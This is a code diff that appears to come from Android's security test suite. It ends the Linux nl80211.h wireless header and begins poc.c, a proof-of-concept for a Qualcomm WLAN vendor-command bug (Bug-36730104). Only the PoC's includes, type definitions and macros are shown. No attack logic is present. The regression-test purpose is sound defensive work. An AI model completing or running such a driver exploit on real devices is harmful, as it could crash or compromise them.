+ NL80211_WOWLAN_TCP_DATA_PAYLOAD,
+ NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ,
+ NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN,
+ NL80211_WOWLAN_TCP_DATA_INTERVAL,
+ NL80211_WOWLAN_TCP_WAKE_PAYLOAD,
+ NL80211_WOWLAN_TCP_WAKE_MASK,
+
+ /* keep last */
+ NUM_NL80211_WOWLAN_TCP,
+ MAX_NL80211_WOWLAN_TCP = NUM_NL80211_WOWLAN_TCP - 1
+};
+
+/**
+ * struct nl80211_coalesce_rule_support - coalesce rule support information
+ * @max_rules: maximum number of rules supported
+ * @pat: packet pattern support information
+ * @max_delay: maximum supported coalescing delay in msecs
+ *
+ * This struct is carried in %NL80211_ATTR_COALESCE_RULE in the
+ * capability information given by the kernel to userspace.
+ */
+struct nl80211_coalesce_rule_support {
+ __u32 max_rules;
+ struct nl80211_pattern_support pat;
+ __u32 max_delay;
+} __attribute__((packed));
+
+/**
+ * enum nl80211_attr_coalesce_rule - coalesce rule attribute
+ * @__NL80211_COALESCE_RULE_INVALID: invalid number for nested attribute
+ * @NL80211_ATTR_COALESCE_RULE_DELAY: delay in msecs used for packet coalescing
+ * @NL80211_ATTR_COALESCE_RULE_CONDITION: condition for packet coalescence,
+ * see &enum nl80211_coalesce_condition.
+ * @NL80211_ATTR_COALESCE_RULE_PKT_PATTERN: packet offset, pattern is matched
+ * after these fixed number of bytes of received packet
+ * @NUM_NL80211_ATTR_COALESCE_RULE: number of attributes
+ * @NL80211_ATTR_COALESCE_RULE_MAX: max attribute number
+ */
+enum nl80211_attr_coalesce_rule {
+ __NL80211_COALESCE_RULE_INVALID,
+ NL80211_ATTR_COALESCE_RULE_DELAY,
+ NL80211_ATTR_COALESCE_RULE_CONDITION,
+ NL80211_ATTR_COALESCE_RULE_PKT_PATTERN,
+
+ /* keep last */
+ NUM_NL80211_ATTR_COALESCE_RULE,
+ NL80211_ATTR_COALESCE_RULE_MAX = NUM_NL80211_ATTR_COALESCE_RULE - 1
+};
+
+/**
+ * enum nl80211_coalesce_condition - coalesce rule conditions
+ * @NL80211_COALESCE_CONDITION_MATCH: coalaesce Rx packets when patterns
+ * in a rule are matched.
+ * @NL80211_COALESCE_CONDITION_NO_MATCH: coalesce Rx packets when patterns
+ * in a rule are not matched.
+ */
+enum nl80211_coalesce_condition {
+ NL80211_COALESCE_CONDITION_MATCH,
+ NL80211_COALESCE_CONDITION_NO_MATCH
+};
+
+/**
+ * enum nl80211_iface_limit_attrs - limit attributes
+ * @NL80211_IFACE_LIMIT_UNSPEC: (reserved)
+ * @NL80211_IFACE_LIMIT_MAX: maximum number of interfaces that
+ * can be chosen from this set of interface types (u32)
+ * @NL80211_IFACE_LIMIT_TYPES: nested attribute containing a
+ * flag attribute for each interface type in this set
+ * @NUM_NL80211_IFACE_LIMIT: number of attributes
+ * @MAX_NL80211_IFACE_LIMIT: highest attribute number
+ */
+enum nl80211_iface_limit_attrs {
+ NL80211_IFACE_LIMIT_UNSPEC,
+ NL80211_IFACE_LIMIT_MAX,
+ NL80211_IFACE_LIMIT_TYPES,
+
+ /* keep last */
+ NUM_NL80211_IFACE_LIMIT,
+ MAX_NL80211_IFACE_LIMIT = NUM_NL80211_IFACE_LIMIT - 1
+};
+
+/**
+ * enum nl80211_if_combination_attrs -- interface combination attributes
+ *
+ * @NL80211_IFACE_COMB_UNSPEC: (reserved)
+ * @NL80211_IFACE_COMB_LIMITS: Nested attributes containing the limits
+ * for given interface types, see &enum nl80211_iface_limit_attrs.
+ * @NL80211_IFACE_COMB_MAXNUM: u32 attribute giving the total number of
+ * interfaces that can be created in this group. This number doesn't
+ * apply to interfaces purely managed in software, which are listed
+ * in a separate attribute %NL80211_ATTR_INTERFACES_SOFTWARE.
+ * @NL80211_IFACE_COMB_STA_AP_BI_MATCH: flag attribute specifying that
+ * beacon intervals within this group must be all the same even for
+ * infrastructure and AP/GO combinations, i.e. the GO(s) must adopt
+ * the infrastructure network's beacon interval.
+ * @NL80211_IFACE_COMB_NUM_CHANNELS: u32 attribute specifying how many
+ * different channels may be used within this group.
+ * @NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS: u32 attribute containing the bitmap
+ * of supported channel widths for radar detection.
+ * @NL80211_IFACE_COMB_RADAR_DETECT_REGIONS: u32 attribute containing the bitmap
+ * of supported regulatory regions for radar detection.
+ * @NUM_NL80211_IFACE_COMB: number of attributes
+ * @MAX_NL80211_IFACE_COMB: highest attribute number
+ *
+ * Examples:
+ * limits = [ #{STA} <= 1, #{AP} <= 1 ], matching BI, channels = 1, max = 2
+ * => allows an AP and a STA that must match BIs
+ *
+ * numbers = [ #{AP, P2P-GO} <= 8 ], channels = 1, max = 8
+ * => allows 8 of AP/GO
+ *
+ * numbers = [ #{STA} <= 2 ], channels = 2, max = 2
+ * => allows two STAs on different channels
+ *
+ * numbers = [ #{STA} <= 1, #{P2P-client,P2P-GO} <= 3 ], max = 4
+ * => allows a STA plus three P2P interfaces
+ *
+ * The list of these four possiblities could completely be contained
+ * within the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute to indicate
+ * that any of these groups must match.
+ *
+ * "Combinations" of just a single interface will not be listed here,
+ * a single interface of any valid interface type is assumed to always
+ * be possible by itself. This means that implicitly, for each valid
+ * interface type, the following group always exists:
+ * numbers = [ #{<type>} <= 1 ], channels = 1, max = 1
+ */
+enum nl80211_if_combination_attrs {
+ NL80211_IFACE_COMB_UNSPEC,
+ NL80211_IFACE_COMB_LIMITS,
+ NL80211_IFACE_COMB_MAXNUM,
+ NL80211_IFACE_COMB_STA_AP_BI_MATCH,
+ NL80211_IFACE_COMB_NUM_CHANNELS,
+ NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS,
+ NL80211_IFACE_COMB_RADAR_DETECT_REGIONS,
+
+ /* keep last */
+ NUM_NL80211_IFACE_COMB,
+ MAX_NL80211_IFACE_COMB = NUM_NL80211_IFACE_COMB - 1
+};
+
+/**
+ * enum nl80211_plink_state - state of a mesh peer link finite state machine
+ *
+ * @NL80211_PLINK_LISTEN: initial state, considered the implicit
+ * state of non existant mesh peer links
+ * @NL80211_PLINK_OPN_SNT: mesh plink open frame has been sent to
+ * this mesh peer
+ * @NL80211_PLINK_OPN_RCVD: mesh plink open frame has been received
+ * from this mesh peer
+ * @NL80211_PLINK_CNF_RCVD: mesh plink confirm frame has been
+ * received from this mesh peer
+ * @NL80211_PLINK_ESTAB: mesh peer link is established
+ * @NL80211_PLINK_HOLDING: mesh peer link is being closed or cancelled
+ * @NL80211_PLINK_BLOCKED: all frames transmitted from this mesh
+ * plink are discarded
+ * @NUM_NL80211_PLINK_STATES: number of peer link states
+ * @MAX_NL80211_PLINK_STATES: highest numerical value of plink states
+ */
+enum nl80211_plink_state {
+ NL80211_PLINK_LISTEN,
+ NL80211_PLINK_OPN_SNT,
+ NL80211_PLINK_OPN_RCVD,
+ NL80211_PLINK_CNF_RCVD,
+ NL80211_PLINK_ESTAB,
+ NL80211_PLINK_HOLDING,
+ NL80211_PLINK_BLOCKED,
+
+ /* keep last */
+ NUM_NL80211_PLINK_STATES,
+ MAX_NL80211_PLINK_STATES = NUM_NL80211_PLINK_STATES - 1
+};
+
+/**
+ * enum nl80211_plink_action - actions to perform in mesh peers
+ *
+ * @NL80211_PLINK_ACTION_NO_ACTION: perform no action
+ * @NL80211_PLINK_ACTION_OPEN: start mesh peer link establishment
+ * @NL80211_PLINK_ACTION_BLOCK: block traffic from this mesh peer
+ * @NUM_NL80211_PLINK_ACTIONS: number of possible actions
+ */
+enum plink_actions {
+ NL80211_PLINK_ACTION_NO_ACTION,
+ NL80211_PLINK_ACTION_OPEN,
+ NL80211_PLINK_ACTION_BLOCK,
+
+ NUM_NL80211_PLINK_ACTIONS,
+};
+
+#define NL80211_KCK_LEN 16
+#define NL80211_KEK_LEN 16
+#define NL80211_REPLAY_CTR_LEN 8
+
+/**
+ * enum nl80211_rekey_data - attributes for GTK rekey offload
+ * @__NL80211_REKEY_DATA_INVALID: invalid number for nested attributes
+ * @NL80211_REKEY_DATA_KEK: key encryption key (binary)
+ * @NL80211_REKEY_DATA_KCK: key confirmation key (binary)
+ * @NL80211_REKEY_DATA_REPLAY_CTR: replay counter (binary)
+ * @NUM_NL80211_REKEY_DATA: number of rekey attributes (internal)
+ * @MAX_NL80211_REKEY_DATA: highest rekey attribute (internal)
+ */
+enum nl80211_rekey_data {
+ __NL80211_REKEY_DATA_INVALID,
+ NL80211_REKEY_DATA_KEK,
+ NL80211_REKEY_DATA_KCK,
+ NL80211_REKEY_DATA_REPLAY_CTR,
+
+ /* keep last */
+ NUM_NL80211_REKEY_DATA,
+ MAX_NL80211_REKEY_DATA = NUM_NL80211_REKEY_DATA - 1
+};
+
+/**
+ * enum nl80211_hidden_ssid - values for %NL80211_ATTR_HIDDEN_SSID
+ * @NL80211_HIDDEN_SSID_NOT_IN_USE: do not hide SSID (i.e., broadcast it in
+ * Beacon frames)
+ * @NL80211_HIDDEN_SSID_ZERO_LEN: hide SSID by using zero-length SSID element
+ * in Beacon frames
+ * @NL80211_HIDDEN_SSID_ZERO_CONTENTS: hide SSID by using correct length of SSID
+ * element in Beacon frames but zero out each byte in the SSID
+ */
+enum nl80211_hidden_ssid {
+ NL80211_HIDDEN_SSID_NOT_IN_USE,
+ NL80211_HIDDEN_SSID_ZERO_LEN,
+ NL80211_HIDDEN_SSID_ZERO_CONTENTS
+};
+
+/**
+ * enum nl80211_sta_wme_attr - station WME attributes
+ * @__NL80211_STA_WME_INVALID: invalid number for nested attribute
+ * @NL80211_STA_WME_UAPSD_QUEUES: bitmap of uapsd queues. the format
+ * is the same as the AC bitmap in the QoS info field.
+ * @NL80211_STA_WME_MAX_SP: max service period. the format is the same
+ * as the MAX_SP field in the QoS info field (but already shifted down).
+ * @__NL80211_STA_WME_AFTER_LAST: internal
+ * @NL80211_STA_WME_MAX: highest station WME attribute
+ */
+enum nl80211_sta_wme_attr {
+ __NL80211_STA_WME_INVALID,
+ NL80211_STA_WME_UAPSD_QUEUES,
+ NL80211_STA_WME_MAX_SP,
+
+ /* keep last */
+ __NL80211_STA_WME_AFTER_LAST,
+ NL80211_STA_WME_MAX = __NL80211_STA_WME_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_pmksa_candidate_attr - attributes for PMKSA caching candidates
+ * @__NL80211_PMKSA_CANDIDATE_INVALID: invalid number for nested attributes
+ * @NL80211_PMKSA_CANDIDATE_INDEX: candidate index (u32; the smaller, the higher
+ * priority)
+ * @NL80211_PMKSA_CANDIDATE_BSSID: candidate BSSID (6 octets)
+ * @NL80211_PMKSA_CANDIDATE_PREAUTH: RSN pre-authentication supported (flag)
+ * @NUM_NL80211_PMKSA_CANDIDATE: number of PMKSA caching candidate attributes
+ * (internal)
+ * @MAX_NL80211_PMKSA_CANDIDATE: highest PMKSA caching candidate attribute
+ * (internal)
+ */
+enum nl80211_pmksa_candidate_attr {
+ __NL80211_PMKSA_CANDIDATE_INVALID,
+ NL80211_PMKSA_CANDIDATE_INDEX,
+ NL80211_PMKSA_CANDIDATE_BSSID,
+ NL80211_PMKSA_CANDIDATE_PREAUTH,
+
+ /* keep last */
+ NUM_NL80211_PMKSA_CANDIDATE,
+ MAX_NL80211_PMKSA_CANDIDATE = NUM_NL80211_PMKSA_CANDIDATE - 1
+};
+
+/**
+ * enum nl80211_tdls_operation - values for %NL80211_ATTR_TDLS_OPERATION
+ * @NL80211_TDLS_DISCOVERY_REQ: Send a TDLS discovery request
+ * @NL80211_TDLS_SETUP: Setup TDLS link
+ * @NL80211_TDLS_TEARDOWN: Teardown a TDLS link which is already established
+ * @NL80211_TDLS_ENABLE_LINK: Enable TDLS link
+ * @NL80211_TDLS_DISABLE_LINK: Disable TDLS link
+ */
+enum nl80211_tdls_operation {
+ NL80211_TDLS_DISCOVERY_REQ,
+ NL80211_TDLS_SETUP,
+ NL80211_TDLS_TEARDOWN,
+ NL80211_TDLS_ENABLE_LINK,
+ NL80211_TDLS_DISABLE_LINK,
+};
+
+/*
+ * enum nl80211_ap_sme_features - device-integrated AP features
+ * Reserved for future use, no bits are defined in
+ * NL80211_ATTR_DEVICE_AP_SME yet.
+enum nl80211_ap_sme_features {
+};
+ */
+
+/**
+ * enum nl80211_feature_flags - device/driver features
+ * @NL80211_FEATURE_SK_TX_STATUS: This driver supports reflecting back
+ * TX status to the socket error queue when requested with the
+ * socket option.
+ * @NL80211_FEATURE_HT_IBSS: This driver supports IBSS with HT datarates.
+ * @NL80211_FEATURE_INACTIVITY_TIMER: This driver takes care of freeing up
+ * the connected inactive stations in AP mode.
+ * @NL80211_FEATURE_CELL_BASE_REG_HINTS: This driver has been tested
+ * to work properly to suppport receiving regulatory hints from
+ * cellular base stations.
+ * @NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL: (no longer available, only
+ * here to reserve the value for API/ABI compatibility)
+ * @NL80211_FEATURE_SAE: This driver supports simultaneous authentication of
+ * equals (SAE) with user space SME (NL80211_CMD_AUTHENTICATE) in station
+ * mode
+ * @NL80211_FEATURE_LOW_PRIORITY_SCAN: This driver supports low priority scan
+ * @NL80211_FEATURE_SCAN_FLUSH: Scan flush is supported
+ * @NL80211_FEATURE_AP_SCAN: Support scanning using an AP vif
+ * @NL80211_FEATURE_VIF_TXPOWER: The driver supports per-vif TX power setting
+ * @NL80211_FEATURE_NEED_OBSS_SCAN: The driver expects userspace to perform
+ * OBSS scans and generate 20/40 BSS coex reports. This flag is used only
+ * for drivers implementing the CONNECT API, for AUTH/ASSOC it is implied.
+ * @NL80211_FEATURE_P2P_GO_CTWIN: P2P GO implementation supports CT Window
+ * setting
+ * @NL80211_FEATURE_P2P_GO_OPPPS: P2P GO implementation supports opportunistic
+ * powersave
+ * @NL80211_FEATURE_FULL_AP_CLIENT_STATE: The driver supports full state
+ * transitions for AP clients. Without this flag (and if the driver
+ * doesn't have the AP SME in the device) the driver supports adding
+ * stations only when they're associated and adds them in associated
+ * state (to later be transitioned into authorized), with this flag
+ * they should be added before even sending the authentication reply
+ * and then transitioned into authenticated, associated and authorized
+ * states using station flags.
+ * Note that even for drivers that support this, the default is to add
+ * stations in authenticated/associated state, so to add unauthenticated
+ * stations the authenticated/associated bits have to be set in the mask.
+ * @NL80211_FEATURE_ADVERTISE_CHAN_LIMITS: cfg80211 advertises channel limits
+ * (HT40, VHT 80/160 MHz) if this flag is set
+ * @NL80211_FEATURE_USERSPACE_MPM: This driver supports a userspace Mesh
+ * Peering Management entity which may be implemented by registering for
+ * beacons or NL80211_CMD_NEW_PEER_CANDIDATE events. The mesh beacon is
+ * still generated by the driver.
+ * @NL80211_FEATURE_ACTIVE_MONITOR: This driver supports an active monitor
+ * interface. An active monitor interface behaves like a normal monitor
+ * interface, but gets added to the driver. It ensures that incoming
+ * unicast packets directed at the configured interface address get ACKed.
+ * @NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE: This driver supports dynamic
+ * channel bandwidth change (e.g., HT 20 <-> 40 MHz channel) during the
+ * lifetime of a BSS.
+ * @NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES: This device adds a DS Parameter
+ * Set IE to probe requests.
+ * @NL80211_FEATURE_WFA_TPC_IE_IN_PROBES: This device adds a WFA TPC Report IE
+ * to probe requests.
+ * @NL80211_FEATURE_QUIET: This device, in client mode, supports Quiet Period
+ * requests sent to it by an AP.
+ * @NL80211_FEATURE_TX_POWER_INSERTION: This device is capable of inserting the
+ * current tx power value into the TPC Report IE in the spectrum
+ * management TPC Report action frame, and in the Radio Measurement Link
+ * Measurement Report action frame.
+ * @NL80211_FEATURE_ACKTO_ESTIMATION: This driver supports dynamic ACK timeout
+ * estimation (dynack). %NL80211_ATTR_WIPHY_DYN_ACK flag attribute is used
+ * to enable dynack.
+ * @NL80211_FEATURE_STATIC_SMPS: Device supports static spatial
+ * multiplexing powersave, ie. can turn off all but one chain
+ * even on HT connections that should be using more chains.
+ * @NL80211_FEATURE_DYNAMIC_SMPS: Device supports dynamic spatial
+ * multiplexing powersave, ie. can turn off all but one chain
+ * and then wake the rest up as required after, for example,
+ * rts/cts handshake.
+ */
+enum nl80211_feature_flags {
+ NL80211_FEATURE_SK_TX_STATUS = 1 << 0,
+ NL80211_FEATURE_HT_IBSS = 1 << 1,
+ NL80211_FEATURE_INACTIVITY_TIMER = 1 << 2,
+ NL80211_FEATURE_CELL_BASE_REG_HINTS = 1 << 3,
+ NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL = 1 << 4,
+ NL80211_FEATURE_SAE = 1 << 5,
+ NL80211_FEATURE_LOW_PRIORITY_SCAN = 1 << 6,
+ NL80211_FEATURE_SCAN_FLUSH = 1 << 7,
+ NL80211_FEATURE_AP_SCAN = 1 << 8,
+ NL80211_FEATURE_VIF_TXPOWER = 1 << 9,
+ NL80211_FEATURE_NEED_OBSS_SCAN = 1 << 10,
+ NL80211_FEATURE_P2P_GO_CTWIN = 1 << 11,
+ NL80211_FEATURE_P2P_GO_OPPPS = 1 << 12,
+ /* bit 13 is reserved */
+ NL80211_FEATURE_ADVERTISE_CHAN_LIMITS = 1 << 14,
+ NL80211_FEATURE_FULL_AP_CLIENT_STATE = 1 << 15,
+ NL80211_FEATURE_USERSPACE_MPM = 1 << 16,
+ NL80211_FEATURE_ACTIVE_MONITOR = 1 << 17,
+ NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE = 1 << 18,
+ NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES = 1 << 19,
+ NL80211_FEATURE_WFA_TPC_IE_IN_PROBES = 1 << 20,
+ NL80211_FEATURE_QUIET = 1 << 21,
+ NL80211_FEATURE_TX_POWER_INSERTION = 1 << 22,
+ NL80211_FEATURE_ACKTO_ESTIMATION = 1 << 23,
+ NL80211_FEATURE_STATIC_SMPS = 1 << 24,
+ NL80211_FEATURE_DYNAMIC_SMPS = 1 << 25,
+};
+
+/**
+ * enum nl80211_probe_resp_offload_support_attr - optional supported
+ * protocols for probe-response offloading by the driver/FW.
+ * To be used with the %NL80211_ATTR_PROBE_RESP_OFFLOAD attribute.
+ * Each enum value represents a bit in the bitmap of supported
+ * protocols. Typically a subset of probe-requests belonging to a
+ * supported protocol will be excluded from offload and uploaded
+ * to the host.
+ *
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS: Support for WPS ver. 1
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2: Support for WPS ver. 2
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P: Support for P2P
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U: Support for 802.11u
+ */
+enum nl80211_probe_resp_offload_support_attr {
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS = 1 << 0,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2 = 1 << 1,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P = 1 << 2,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U = 1 << 3,
+};
+
+/**
+ * enum nl80211_connect_failed_reason - connection request failed reasons
+ * @NL80211_CONN_FAIL_MAX_CLIENTS: Maximum number of clients that can be
+ * handled by the AP is reached.
+ * @NL80211_CONN_FAIL_BLOCKED_CLIENT: Connection request is rejected due to ACL.
+ */
+enum nl80211_connect_failed_reason {
+ NL80211_CONN_FAIL_MAX_CLIENTS,
+ NL80211_CONN_FAIL_BLOCKED_CLIENT,
+};
+
+/**
+ * enum nl80211_scan_flags - scan request control flags
+ *
+ * Scan request control flags are used to control the handling
+ * of NL80211_CMD_TRIGGER_SCAN and NL80211_CMD_START_SCHED_SCAN
+ * requests.
+ *
+ * @NL80211_SCAN_FLAG_LOW_PRIORITY: scan request has low priority
+ * @NL80211_SCAN_FLAG_FLUSH: flush cache before scanning
+ * @NL80211_SCAN_FLAG_AP: force a scan even if the interface is configured
+ * as AP and the beaconing has already been configured. This attribute is
+ * dangerous because will destroy stations performance as a lot of frames
+ * will be lost while scanning off-channel, therefore it must be used only
+ * when really needed
+ */
+enum nl80211_scan_flags {
+ NL80211_SCAN_FLAG_LOW_PRIORITY = 1 << 0,
+ NL80211_SCAN_FLAG_FLUSH = 1 << 1,
+ NL80211_SCAN_FLAG_AP = 1 << 2,
+};
+
+/**
+ * enum nl80211_acl_policy - access control policy
+ *
+ * Access control policy is applied on a MAC list set by
+ * %NL80211_CMD_START_AP and %NL80211_CMD_SET_MAC_ACL, to
+ * be used with %NL80211_ATTR_ACL_POLICY.
+ *
+ * @NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED: Deny stations which are
+ * listed in ACL, i.e. allow all the stations which are not listed
+ * in ACL to authenticate.
+ * @NL80211_ACL_POLICY_DENY_UNLESS_LISTED: Allow the stations which are listed
+ * in ACL, i.e. deny all the stations which are not listed in ACL.
+ */
+enum nl80211_acl_policy {
+ NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED,
+ NL80211_ACL_POLICY_DENY_UNLESS_LISTED,
+};
+
+/**
+ * enum nl80211_smps_mode - SMPS mode
+ *
+ * Requested SMPS mode (for AP mode)
+ *
+ * @NL80211_SMPS_OFF: SMPS off (use all antennas).
+ * @NL80211_SMPS_STATIC: static SMPS (use a single antenna)
+ * @NL80211_SMPS_DYNAMIC: dynamic smps (start with a single antenna and
+ * turn on other antennas after CTS/RTS).
+ */
+enum nl80211_smps_mode {
+ NL80211_SMPS_OFF,
+ NL80211_SMPS_STATIC,
+ NL80211_SMPS_DYNAMIC,
+
+ __NL80211_SMPS_AFTER_LAST,
+ NL80211_SMPS_MAX = __NL80211_SMPS_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_radar_event - type of radar event for DFS operation
+ *
+ * Type of event to be used with NL80211_ATTR_RADAR_EVENT to inform userspace
+ * about detected radars or success of the channel available check (CAC)
+ *
+ * @NL80211_RADAR_DETECTED: A radar pattern has been detected. The channel is
+ * now unusable.
+ * @NL80211_RADAR_CAC_FINISHED: Channel Availability Check has been finished,
+ * the channel is now available.
+ * @NL80211_RADAR_CAC_ABORTED: Channel Availability Check has been aborted, no
+ * change to the channel status.
+ * @NL80211_RADAR_NOP_FINISHED: The Non-Occupancy Period for this channel is
+ * over, channel becomes usable.
+ */
+enum nl80211_radar_event {
+ NL80211_RADAR_DETECTED,
+ NL80211_RADAR_CAC_FINISHED,
+ NL80211_RADAR_CAC_ABORTED,
+ NL80211_RADAR_NOP_FINISHED,
+};
+
+/**
+ * enum nl80211_dfs_state - DFS states for channels
+ *
+ * Channel states used by the DFS code.
+ *
+ * @NL80211_DFS_USABLE: The channel can be used, but channel availability
+ * check (CAC) must be performed before using it for AP or IBSS.
+ * @NL80211_DFS_UNAVAILABLE: A radar has been detected on this channel, it
+ * is therefore marked as not available.
+ * @NL80211_DFS_AVAILABLE: The channel has been CAC checked and is available.
+ */
+enum nl80211_dfs_state {
+ NL80211_DFS_USABLE,
+ NL80211_DFS_UNAVAILABLE,
+ NL80211_DFS_AVAILABLE,
+};
+
+/**
+ * enum enum nl80211_protocol_features - nl80211 protocol features
+ * @NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP: nl80211 supports splitting
+ * wiphy dumps (if requested by the application with the attribute
+ * %NL80211_ATTR_SPLIT_WIPHY_DUMP. Also supported is filtering the
+ * wiphy dump by %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFINDEX or
+ * %NL80211_ATTR_WDEV.
+ */
+enum nl80211_protocol_features {
+ NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP = 1 << 0,
+};
+
+/**
+ * enum nl80211_crit_proto_id - nl80211 critical protocol identifiers
+ *
+ * @NL80211_CRIT_PROTO_UNSPEC: protocol unspecified.
+ * @NL80211_CRIT_PROTO_DHCP: BOOTP or DHCPv6 protocol.
+ * @NL80211_CRIT_PROTO_EAPOL: EAPOL protocol.
+ * @NL80211_CRIT_PROTO_APIPA: APIPA protocol.
+ * @NUM_NL80211_CRIT_PROTO: must be kept last.
+ */
+enum nl80211_crit_proto_id {
+ NL80211_CRIT_PROTO_UNSPEC,
+ NL80211_CRIT_PROTO_DHCP,
+ NL80211_CRIT_PROTO_EAPOL,
+ NL80211_CRIT_PROTO_APIPA,
+ /* add other protocols before this one */
+ NUM_NL80211_CRIT_PROTO
+};
+
+/* maximum duration for critical protocol measures */
+#define NL80211_CRIT_PROTO_MAX_DURATION 5000 /* msec */
+
+/**
+ * enum nl80211_rxmgmt_flags - flags for received management frame.
+ *
+ * Used by cfg80211_rx_mgmt()
+ *
+ * @NL80211_RXMGMT_FLAG_ANSWERED: frame was answered by device/driver.
+ */
+enum nl80211_rxmgmt_flags {
+ NL80211_RXMGMT_FLAG_ANSWERED = 1 << 0,
+};
+
+/*
+ * If this flag is unset, the lower 24 bits are an OUI, if set
+ * a Linux nl80211 vendor ID is used (no such IDs are allocated
+ * yet, so that's not valid so far)
+ */
+#define NL80211_VENDOR_ID_IS_LINUX 0x80000000
+
+/**
+ * struct nl80211_vendor_cmd_info - vendor command data
+ * @vendor_id: If the %NL80211_VENDOR_ID_IS_LINUX flag is clear, then the
+ * value is a 24-bit OUI; if it is set then a separately allocated ID
+ * may be used, but no such IDs are allocated yet. New IDs should be
+ * added to this file when needed.
+ * @subcmd: sub-command ID for the command
+ */
+struct nl80211_vendor_cmd_info {
+ __u32 vendor_id;
+ __u32 subcmd;
+};
+
+/**
+ * enum nl80211_tdls_peer_capability - TDLS peer flags.
+ *
+ * Used by tdls_mgmt() to determine which conditional elements need
+ * to be added to TDLS Setup frames.
+ *
+ * @NL80211_TDLS_PEER_HT: TDLS peer is HT capable.
+ * @NL80211_TDLS_PEER_VHT: TDLS peer is VHT capable.
+ * @NL80211_TDLS_PEER_WMM: TDLS peer is WMM capable.
+ */
+enum nl80211_tdls_peer_capability {
+ NL80211_TDLS_PEER_HT = 1 << 0,
+ NL80211_TDLS_PEER_VHT = 1 << 1,
+ NL80211_TDLS_PEER_WMM = 1 << 2,
+};
+
+#endif /* __LINUX_NL80211_H */
diff --git a/hostsidetests/security/securityPatch/Bug-36730104/poc.c b/hostsidetests/security/securityPatch/Bug-36730104/poc.c
new file mode 100644
index 0000000..b4a4de3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36730104/poc.c
@@ -0,0 +1,785 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <fcntl.h>
+#include <netinet/in.h>
+#include <sys/wait.h>
+#include <time.h>
+#include <unistd.h>
+
+#include <errno.h>
+#include <linux/genetlink.h>
+#include <linux/netlink.h>
+#include <linux/wireless.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+typedef signed char s8;
+typedef unsigned char u8;
+
+typedef signed short s16;
+typedef unsigned short u16;
+
+typedef signed int s32;
+typedef unsigned int u32;
+
+typedef signed long long s64;
+typedef unsigned long long u64;
+
+typedef s8 __s8;
+typedef u8 __u8;
+typedef s16 __s16;
+typedef u16 __u16;
+typedef s32 __s32;
+typedef u32 __u32;
+typedef s64 __s64;
+typedef u64 __u64;
+
+#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
+#define PARAM_REQUEST_ID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
+#define PARAMS_LOST_SSID_SAMPLE_SIZE \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE
+#define PARAMS_NUM_SSID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
+#define THRESHOLD_PARAM QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM
+#define PARAM_SSID QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID
+#define PARAM_BAND QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND
+#define PARAM_RSSI_LOW \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW
+#define PARAM_RSSI_HIGH \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH
+
+enum qca_wlan_vendor_attr_extscan_config_params {
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,
+
+ /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
+ * either gets it from caller, e.g., framework, or generates one if
+ * framework doesn't provide it.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
+ */
+ /* Unsigned 32-bit value */
